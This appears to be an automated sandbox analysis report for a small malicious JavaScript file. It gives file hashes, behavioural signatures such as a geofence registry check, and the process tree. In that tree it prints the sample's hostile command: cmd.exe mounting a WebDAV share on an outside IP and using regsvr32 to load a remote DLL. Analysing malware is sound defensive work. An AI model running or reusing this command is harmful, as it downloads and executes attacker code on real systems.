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Analysis
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max time kernel
138s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
21/07/2024, 14:51
Static task
static1
Behavioral task
behavioral1
Sample
2581041382823712049.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2581041382823712049.js
Resource
win10v2004-20240709-en
General
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Target
2581041382823712049.js
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Size
4KB
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MD5
89f65de5f644cad8ed10977bc1aafbcd
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SHA1
bc5754143adc17abbd89696fc729c94faeaaffa4
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SHA256
a34b19c991d5a73a7399927877c6a36ee2561674ca520fa7922fb29c55870167
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SHA512
27e5e3cdec366936c00e037b95a69a2d7595e84805a34d592091a1c7137746663e37ab29a4d0c9b12f302165bc0feaaf79d73f193aa867e23ddc7437799584a3
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SSDEEP
96:Z6C/EZGfEmEZ36eEZkccc7ld5EZREZREZzAk1Lccc7ld5EZREZREZzrJcN+:5/EEMmEtVEeccc7r5E7E7EFAk1Lccc7q
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2784 wrote to memory of 1740 2784 wscript.exe 84 PID 2784 wrote to memory of 1740 2784 wscript.exe 84 PID 1740 wrote to memory of 3008 1740 cmd.exe 86 PID 1740 wrote to memory of 3008 1740 cmd.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2581041382823712049.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3395798232200.dll2⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:3008
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